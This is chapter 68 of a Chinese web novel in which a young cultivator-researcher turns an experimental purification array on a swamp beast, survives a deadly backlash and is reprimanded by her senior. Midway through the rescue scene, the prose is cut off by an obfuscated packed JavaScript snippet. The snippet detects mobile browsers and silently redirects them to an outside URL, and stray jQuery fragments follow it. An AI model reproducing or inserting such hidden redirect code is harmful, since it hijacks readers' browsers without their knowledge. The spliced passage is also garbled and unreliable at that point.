68.第 68 章
作品:《我在修仙界搞科研:从高压锅到跨界飞升》 “林小膳!你——”
陆谨行听到那声喊,瞳孔骤然紧缩,手里的剑差点没拿稳。他脑子里第一反应是这丫头疯了!练气期的修为,抱着堆陶粒冲出去,跟送死有什么区别?协议里白纸黑字写着服从指令保证安全,她这行为简直是把条款撕碎了往他脸上扔!
可眼角余光瞥见李锐那块盾牌“咔嚓”一声彻底裂开,碎片四溅,李锐本人闷哼一声倒飞出去,嘴角渗出血丝;陈锋的剑光也被暴涨的灰黑灵光逼得节节败退,剑身上灵光黯淡,眼看着也要撑不住——时间,真的没有了。
电光火石间,陆谨行脑中那台精密的“逻辑处理器”给出了冷冰冰的评估:按部就班战斗,三人重伤甚至陨落风险超过七成;放任林小膳冒险,她瞬间死亡概率九成九,但若她那“办法”真能起哪怕一丝作用,创造战机,整体存活率……或许能提升到五成。
五成对七成。
一个是用规则和职责捆住手脚,大概率一起完蛋;一个是放任一个巨大的“异常变量”闯入战局,结果未知,可能更糟,也可能有一线生机。
妈的。陆谨行心里爆了句他自己都很少用的粗口。这选择题,比他推演最复杂的阵图还让人暴躁。
“信我一次!”
林小膳那带着破音和豁出去劲头的喊声还在耳边炸着。
陆谨行牙关一咬,眼底最后那点犹豫被凌厉取代。他周身气息骤然爆发,比之前强横了近倍!冰蓝长剑发出一声清越长鸣,剑身上浮现出细密繁复的银色阵纹——他之前竟然一直压制着实力!
“风雪囚龙!”
剑招一变,不再是灵动的游斗。漫天冰蓝剑气瞬间收束、凝聚,化作九条栩栩如生的冰雪锁链,发出哗啦啦的巨响,带着冻结空气的极寒,从四面八方朝着沼秽兽绞杀而去!这不再是骚扰,而是真正的困杀之招,灵力消耗巨大,但也成功将沼秽兽那庞大的身躯和大部分注意力死死拖在原地。
施展这招的代价,是他对后方防护阵的操控出现了一瞬间的迟滞和灵力抽调。三重防护阵的灵光屏障肉眼可见地波动、黯淡了一线。
就是现在!
林小膳心脏都快从嗓子眼跳出来了,她根本没指望陆谨行能完全理解或同意,那声喊更像是给自己壮胆和通知。看到陆谨行真的爆大招拉住怪物,防护阵出现波动,她脑子里那根名叫“科研冒险精神”的弦彻底绷断,取而代之的是一种近乎本能的、抓住实验窗口的冲动。
跑!朝着那怪物侧后方,玉昙新芽在盒子里疯狂“尖叫”指引、同时她自己也感觉到灰黑灵光略有“稀薄”感的区域跑!
脚下是凹凸不平、布满碎石的黑砂地,身边是呼啸的、带着腥臭和腐蚀性能量的狂风,前方是那如同山岳般蠕动、散发着绝望与混乱气息的庞然巨物。每一步都像是踩在刀尖上,肺里火烧火燎,护体的那点微薄灵力跟纸糊的一样,被外界的灵压撕扯得七零八落,皮肤传来针扎般的刺痛感,那是被逸散的腐蚀灵光波及的征兆。
怀里,手机烫得像块烧红的炭,隔着衣服和锦囊灼着她的皮肉。玉昙新芽的震动更是剧烈得快要跳出盒子,那惨绿的光芒从盒盖缝隙里溢出,映得她下巴一片诡异的绿色。
不能停!不能看!冲!
距离在缩短。三十丈……二十丈……十丈……恶臭几乎化为实质,往她鼻孔里钻,熏得她眼泪直流。沼秽兽那布满粘稠黑泥、不断滴落污秽的侧腹就在眼前,上面一道相对浅淡的、似乎已经愈合但灵光结构依然紊乱的旧伤疤,成了她眼中唯一的目标。
就是那里!
她根本来不及做任何精细操作,凭借着最后一股劲儿,用尽全身力气,将怀里抱着的、刻满纹路的金属核心单元,连同手里抓着的几块最关键、掺了最多玉昙精华的暖灰色陶粒,狠狠朝着那道旧伤疤区域按了过去!同时,左手捏碎了出发前陆谨行给的那枚“遁空符”——但不是用来逃跑,而是将其中蕴含的大半空间稳固与防护之力,强行引导出来,包裹住自己和刚刚拍上去的阵列组件!
“癸水-七——给我吸!!!”
她嘶哑着嗓子吼出声,也不知道是在命令阵列,还是在给自己鼓劲。
嗡——!!!
一声远比在防护阵内启动时剧烈十倍的轰鸣炸响!
淡青色的吸附力场,在如此近距离、近乎贴着污染源的情况下全力展开,效果堪称恐怖!
就像一块干燥到极点、饥渴无比的海绵,被猛地按进了浓稠的、充满杂质的污水潭!力场与沼秽兽体表狂暴的灰黑扭曲灵光接触的瞬间,没有温和的渗透,而是激烈的对抗、撕扯、吞噬!
肉眼可见的,以核心单元为中心,淡青色力场猛地向内凹陷,然后又顽强地反弹、扩张,形成一个剧烈波动的不稳定光罩,死死“咬”住了沼秽兽侧腹那片区域。光罩内,灰黑色的灵光如同沸腾的油锅,疯狂翻滚、冲撞,却不断被淡青色的光芒分解、吸收、转化、排异!
“吼嗷——!!!”
沼秽兽发出了开战以来最凄厉、也最痛苦的咆哮!那声音里除了暴怒,竟还夹杂着一丝……恐慌?它庞大的身躯剧烈地痉挛起来,仿佛被烙铁烫伤的野兽。陆谨行那九条冰雪锁链抓住它因剧痛而露出的破绽,瞬间收紧,深深勒进它的皮肉,冰寒之力与腐蚀灵光激烈对耗,发出“滋滋”的可怕声响。
更明显的是,它侧腹被阵列“咬住”的那片区域,原本浓郁粘稠的灰黑灵光,竟然开始以肉眼可见的速度变得稀薄、黯淡,甚至出现了小范围的“褪色”!仿佛那一片区域的“污染”正在被强行抽离!
有效!真的有效!
林小膳在遁空符残余力量形成的短暂防护罩内,被巨大的反震力推得踉跄后退好几步,一屁股坐倒在地,喉头一甜,哇地吐出一小口血。但她眼睛却亮得吓人,死死盯着那激烈反应的接触面。
成了!干扰生效了!数据!这都是宝贵的数据!近距离高浓度污染环境下,阵列吸附净化速率峰值……对抗性反应强度……灵光结构破坏模式……
她甚至下意识想去摸记录玉简——如果她还能动,如果玉简没在刚才的冲击中不知道飞哪儿去了的话。
然而,她的兴奋只持续了不到三息。
异变,就在阵列看似“成功”干扰、甚至开始“净化”局部污染的巅峰时刻,猝不及防地发生了。
首先是她怀里的玉昙新芽。
那原本疯狂震动、惨绿光芒乱闪的新芽,在阵列与污染灵光激烈对抗、大量“吸收”转化能量的瞬间,突然诡异地**静止**了一刹那。
紧接着,盒中传出的不再是杂乱无章的“尖叫”,而是一种……**贪婪的、饥渴的、带着奇异律动的吸吮声**!仿佛有什么东西,正在通过玉昙新芽这个“通道”,疯狂地汲取着阵列从沼秽兽身上抽取、转化而来的、某种**更为本质的能量或信息**!
惨绿的光芒不再外放,而是急速内敛、收缩,在新芽顶端凝结成一个只有米粒大小、却在高速旋转的、散发着一股令人心悸的冰冷与灼热交织感的淡绿色漩涡!
与此同时,林小膳胸口那灼热的手机,屏幕裂纹深处的幽蓝光屑,闪烁频率也陡然一变!不再是杂乱狂闪,而是以一种极其复杂、快速、仿佛在**解码**或**同步**某种信号的特定节奏明灭着。在某一瞬间,那漆黑的屏幕裂缝深处,似乎有极其短暂、模糊的、非此世任何语言的**扭曲字符虚影**一闪而过,快得像是错觉。
而战场上,那看似占据上风的淡青色力场,随着玉昙和手机的诡异变化,也开始出现不受控制的偏转!
被阵列强行抽取、转化的庞大扭曲灵光,并未像预期那样被稳定净化、排异,反而在某种无形力量的“引导”下,发生了难以理解的汇聚和质变!它们挣脱了阵列既定的“净化-排异”循环,如同百川归海,朝着阵列核心——也就是林小膳刚刚拍上去的核心单元——倒卷而去,并且在倒卷过程中,颜色迅速从灰黑转化为一种更深邃、更不祥的、仿佛能吞噬光线的暗沉墨色!
这墨色灵光流凝练无比,带着一种令人灵魂都感到颤栗的冰冷与死寂,如同一条择人而噬的毒蛇,刚一成形,便调转方向,以迅雷不及掩耳之势,朝着近在咫尺、瘫坐在地、因玉昙和手机异变而短暂失神的林小膳噬咬而去!
这一切发生得太快,从阵列生效到异变反噬,不过五六息时间!
“林小膳!!!”
陆谨行的怒吼声带着前所未有的惊怒与……一丝他自己都没察觉的恐慌。他看得分明,那墨色灵光流蕴含的规则扭曲气息和纯粹的毁灭之意,远超之前沼秽兽散发的腐蚀灵光!林小膳那点可怜的防护,在这东西面前跟不存在一样!
他想抽身回救,但沼秽兽虽受创痛苦,却也被彻底激起了凶性,拼着被冰雪锁链进一步重创,疯狂挣扎反扑,死死拖住了他!
陈锋和李锐倒是离得稍近,见状目眦欲裂,不顾自身伤势,拼命催动残存灵力,剑光与盾影(李锐换了面备用小盾)试图拦截那墨色灵光流。但他们的攻击落在上面,如同泥牛入海,连一丝涟漪都没能激起,反而被那墨色灵光顺势侵蚀,剑光黯淡,小盾瞬间爬满裂纹!
完了!
这是陈锋和李锐心中同时升起的绝望念头。
林小膳自己也看到了那道扑面而来的、死寂的墨色光芒。时间仿佛被拉长,她能清晰地看到光芒中扭曲变幻的、充满恶意与混乱的纹路,能闻到那比沼秽兽体臭更令人作呕的、仿佛万物终末的腐朽气息。
要死了吗?因为一次鲁莽的实验?数据还没记录下来呢……可惜了那些陶粒,配方还能再优化的……陆师兄以后大概会更讨厌不守规矩的人了吧……师尊的酒葫芦还没帮他做成恒温的……
乱七八糟的念头像走马灯一样闪过。
就在那墨色灵光流即将触及她鼻尖的刹那——
怀中,那高速旋转的淡绿色玉昙漩涡,猛地**膨胀**了一瞬!
不是向外爆炸,而是向内**吞噬**!
它就像一个微型黑洞,产生了一股难以抗拒的吸力,目标却不是林小膳,而是那道致命的墨色灵光流!
咻——!
如同长鲸吸水,那道气势汹汹的墨色灵光流,竟被那小小的淡绿漩涡硬生生扯偏了方向,头也不回地一头扎了进去!
漩涡疯狂旋转,淡绿的光芒急剧闪烁,颜色在绿、灰、黑之间快速变幻,体积也时胀时缩,仿佛在承受着巨大的压力,随时可能崩溃。玉昙新芽的本体在盒中剧烈颤抖,叶片以肉眼可见的速度失去光泽,边缘甚至开始卷曲、发黄!
而林小膳怀里的手机,在那墨色灵光流被吞噬的瞬间,幽蓝光屑的闪烁频率达到了一个顶峰,然后猛地**熄灭**,陷入了比以往更深沉的死寂。屏幕冰冷,再无丝毫热度传来,仿佛刚才的灼热和字符幻影都是幻觉。
墨色灵光流消失了。
玉昙漩涡在吞噬了那道灵光流后,也仿佛耗尽了所有力量,旋转速度骤降,光芒黯淡到几乎看不见,缩回新芽顶端,最后连同新芽本身一起,彻底沉寂下去。寒玉盒里,再没有丝毫灵光或悸动传出,只有一株看起来比之前萎靡了许多、叶片发黄卷曲的脆弱幼苗。
劫后余生。
林小膳瘫在地上,浑身冷汗涔涔,如同刚从水里捞出来,手脚冰凉,不住地颤抖,脑子里一片空白,只有心脏在胸腔里疯狂擂鼓,咚咚咚地敲得她耳膜生疼。
那边,陆谨行抓住沼秽兽因“力量”被突兀抽走一部分而出现的瞬间僵直,眼中寒光爆射,人剑合一,化作一道洞穿虚空的湛蓝惊雷,以决绝之势,悍然贯入了沼秽兽那因痛苦和混乱而摇曳的幽绿眼眶!
噗嗤!
剑锋穿透颅骨的声音沉闷而清晰。
沼秽兽庞大的身躯猛地一僵,随即那令人窒息的灰黑灵光如同退潮般迅速消散,眼中的幽绿火焰熄灭,发出最后一声不甘的、漏气般的嘶鸣,推金山倒玉柱般轰然倒地,砸起漫天黑尘。
战斗,结束了。
谷中恢复了死寂,只有风吹过砂石的呜咽,以及几人粗重不一的喘息声。
陆谨行拔出长剑,剑身湛蓝如初,不染滴血。他看也没看倒毙的沼秽兽,身形一闪,已来到林小膳面前。
他的脸色是从未有过的难看,嘴唇抿成一条苍白的直线,胸膛微微起伏,握剑的手指关节因为用力而泛白。他低头看着瘫在地上、眼神还有些发直、嘴角带血、狼狈不堪的林小膳,那目光复杂得像是要把她生吞活剥,又像是要仔细确认她是不是还完整。
“你……”他的声音沙哑得厉害,带着一种竭力压抑却仍泄露出丝丝震颤的怒意,“……知不知道刚才有多危险?!”
林小膳被他吼得一个激灵,涣散的眼神聚焦了些,看着陆谨行那张寒冰覆盖却眼底翻涌着骇浪的脸,张了张嘴,却发不出声音,只能扯出一个比哭还难看的、带着后怕和讨好的哆嗦笑容。
陆谨行闭了闭眼,深吸一口气,再睁开时,已经强行将翻腾的情绪压了下去,恢复了惯有的冷硬。他蹲下身,毫不客气地一把扯开林小膳的外袍衣襟。
“啊!你干什……”林小膳吓得一缩,话没说完就卡住了。
陆谨行根本不理她,目光锐利如鹰隼,扫过她胸口被手机烫得发红甚至有些许焦痕的皮肤,扫过那个贴着最强隔绝符却已然黯淡无光的锦囊(里面的寒玉盒毫无动静),最后落在她苍白如纸、冷汗淋漓的脸上。
他伸出两根手指,搭在她手腕脉搏处,一缕冰冷但精纯平和的灵力探入,快速游走检查她的经脉脏腑。
“内腑受震,经脉有轻微撕裂,灵力透支,神魂受惊。”他快速做出诊断,声音依旧冰冷,但动作却不算粗暴,“没有规则扭曲力量直接侵入的迹象……算你命大。”
说完,他收回手,从自己储物戒中取出一个玉瓶,倒出一颗龙眼大小、散发着清凉药香的淡金色丹药,不由分说塞进林小膳嘴里。
“含着,别吞。清心护
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17361099|195922||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
脉,稳固体魄。”
丹药入口即化,一股清凉温和的药力迅速散开,抚慰着她火烧火燎的经脉和翻腾的气血,也让惊魂未定的神魂稍微安定了一些。
这时,陈锋和李锐也相互搀扶着走了过来。两人都受了不轻的伤,陈锋持剑的右臂不自然地垂着,李锐脸色惨白,气息萎靡,但看着林小膳还活着,都明显松了口气,只是看向她的眼神,更加复杂了——有劫后余生的庆幸,有对她鲁莽行为的后怕与不赞同,也有一丝难以掩饰的、对她最后那“诡异手段”的好奇与惊疑。
“陆师兄,林师妹她……”陈锋开口,声音虚弱。
“无性命之忧。”陆谨行站起身,目光扫过一片狼藉的战场,看向那具开始缓缓散发淡淡灰气(这次是正常的妖兽死亡灵气散逸,而非扭曲灵光)的沼秽兽尸体,又看向不远处那已经彻底失效、核心单元焦黑、陶粒碎裂一地的“癸水-七”测试阵列,最后,目光落回林小膳身上,尤其是她紧紧攥着的、那个装着沉寂玉昙的锦囊。
“此地不宜久留。”陆谨行果断下令,“陈锋,李锐,你们伤势较重,立即服下回气丹,稍作调息。我处理现场和这妖兽尸身。林小膳,”他看向还坐在地上的她,“能动吗?”
林小膳含着丹药,感受着药力滋润,勉强点了点头,撑着发软的手臂想站起来,却腿一软,又差点坐回去。
陆谨行眉头一皱,伸手抓住她的胳膊,将她拎了起来。动作谈不上温柔,但足够稳当。
“跟紧我。”他松开手,转身开始迅速清理现场。他先是用几个特制的封灵玉盒,将沼秽兽尸体上一些有价值的部位(如未被完全污染的獠牙、部分相对完整的皮甲)以及从它眼眶伤口处收集到的、几缕残留的、性质特异的灰气(可能与规则扭曲有关)封存起来。然后弹出一簇冰焰,将剩余的尸体和那些碎裂的陶粒、焦黑的核心单元一起焚烧净化,直到化为灰烬,不留任何可能污染环境的后患。
做完这一切,他看向已经勉强站稳、正在努力调息的陈锋和李锐:“如何?”
“可……可以行动。”陈锋咬牙道。
“走。”陆谨行祭出飞舟,率先登了上去。
四人重新登上飞舟,来时的整洁舱内此刻弥漫着淡淡的血腥味、药味和挥之不去的疲惫与紧张。飞舟缓缓升空,朝着青云宗方向驶去,速度比来时慢了许多,显然是为了照顾伤员。
舱内再次陷入沉默,但这次的沉默,与来时那种公事公办的沉闷截然不同,更像是一种劫后余生、心有余悸的凝滞,其中还混杂着太多亟待理清的问号。
林小膳缩在角落的座位上,抱着膝盖,把脸埋进去。丹药的效力在持续,身体的疼痛和虚脱感在缓解,但心里的后怕和混乱却越来越清晰。
刚才……到底发生了什么?
阵列确实干扰了沼秽兽,但随后那恐怖的反噬……玉昙那诡异的漩涡,手机最后那诡异的闪烁和字符……还有,玉昙现在怎么样了?
她悄悄将神识探入锦囊内的寒玉盒。
触感冰凉。新芽静静地躺在那里,叶片蔫黄卷曲,顶端的浅绿光点消失不见,整株幼苗显得萎靡不振,灵性微弱到几乎难以察觉,与之前那种生机勃勃、甚至带着点“智能”感的灵动截然不同。
它……是不是为了救她,消耗过度,甚至损伤了本源?
这个念头让林小膳心里一揪,有种说不出的愧疚和难过。玉昙虽然是灵植,但一直以来,它就像是她和手机之间一个懵懂而努力的“翻译官”和“缓冲器”,是她在这个世界秘密探索中一个沉默而重要的伙伴。
还有手机……那种灼热,那些字符……现在又死寂一片。它到底“看到”或者说“记录”了什么?
“把今天发生的事情,从头到尾,包括你冲出去之后的每一个细节,尤其是那异宝和玉昙的所有异常反应,全部回忆清楚,不要遗漏任何一点。”
陆谨行冰冷的声音打破了沉默。他不知何时已经坐到了她对面的位置上,手里拿着那枚特制记录玉简和一支泛着灵光的笔,目光沉沉地看着她。
“回去之后,我要一份最详细的、事无巨细的报告。这关系到对你此次违规行为的最终评估,也关系到后续对‘异宝’和玉昙状态的研判,以及……对整个‘癸水-七’项目,甚至可能涉及更广范围安全风险的重新评估。”
他的语气里没有商量的余地,只有不容置疑的严肃。
林小膳抬起头,对上他那双深不见底、仿佛能看透一切虚妄的眼睛,喉咙有些发干。她知道,这次的事情,恐怕没那么容易过去了。
协议还在,监控还在,但有些东西,似乎已经不一样了。
飞舟在晦暗的天色中穿行,载着伤痕累累的四人,和一堆更加沉重、复杂的谜团与隐患,驶向归途。
(第六十八章完)
---
**【下章预告】第六十九章:余波、审查与“沉默”的代价**
返回青云宗后,黑石矿谷之行的余波迅速扩散。**林小膳被直接送入闲云峰的“静思室”(名义上休养,实则为隔离审查),由陆谨行亲自看守,并开始撰写那份“事无巨细”的报告。然而,在描述玉昙漩涡吞噬墨色灵光流以及手机最后异变的关键细节时,林小膳陷入了巨大的困境——她无法准确描述那些超越认知的感知,更无法解释玉昙和手机之间那仿佛“默契”般的诡异联动。** 陆谨行对她的报告初稿极度不满,认为她“刻意隐瞒关键数据”,两人之间的信任本就脆弱的平衡出现裂痕。**与此同时,天衍峰和“净尘”项目组的高层都被惊动。沼秽兽变异体的出现、测试阵列的异常反噬、以及可能涉及规则扭曲力量转移的神秘事件,让整个事态的严重性升级。由李长老牵头,一个包括陆谨行师尊(天衍峰严律长老)在内的联合调查小组迅速成立,要求对林小膳进行更深入的“问询”,并对那件“上古异宝残骸”及玉昙进行全面的、可能带有一定强制性的检测。** 云逸真人罕见地没有醉醺醺,而是以闲云峰主的名义强硬介入,以“保护弟子研究积极性”和“避免未知风险扩散”为由,暂时顶住了压力,为林小膳争取到了有限的缓冲时间。但在私下里,云逸真人找到林小膳,收起玩笑之色,第一次以极其严肃的口吻告诫她:“丫头,这次你玩得太大了。有些东西,不是你现在的肩膀扛得起的。要么,你想清楚怎么把事情‘说圆’,要么……就得做好付出代价的准备。”** 压力之下,林小膳发现沉寂的玉昙新芽并非完全“死亡”,在其近乎枯萎的根系深处,隐隐有一点极其微弱、但性质与之前截然不同的淡金色光点在缓慢孕育。而一直死寂的手机,在某天深夜她对着它无意识低语“你到底是个什么东西”时,屏幕裂纹深处,那粒幽蓝光屑极其微弱地、仿佛耗尽了最后力气般,闪烁了一下,同时,她脑海中突兀地闪过一个极其模糊、断断续续的碎片画面:无尽的黑暗虚空,以及黑暗中,一个遥远、冰冷、非人……却似乎在“注视”着她的巨大存在轮廓……**

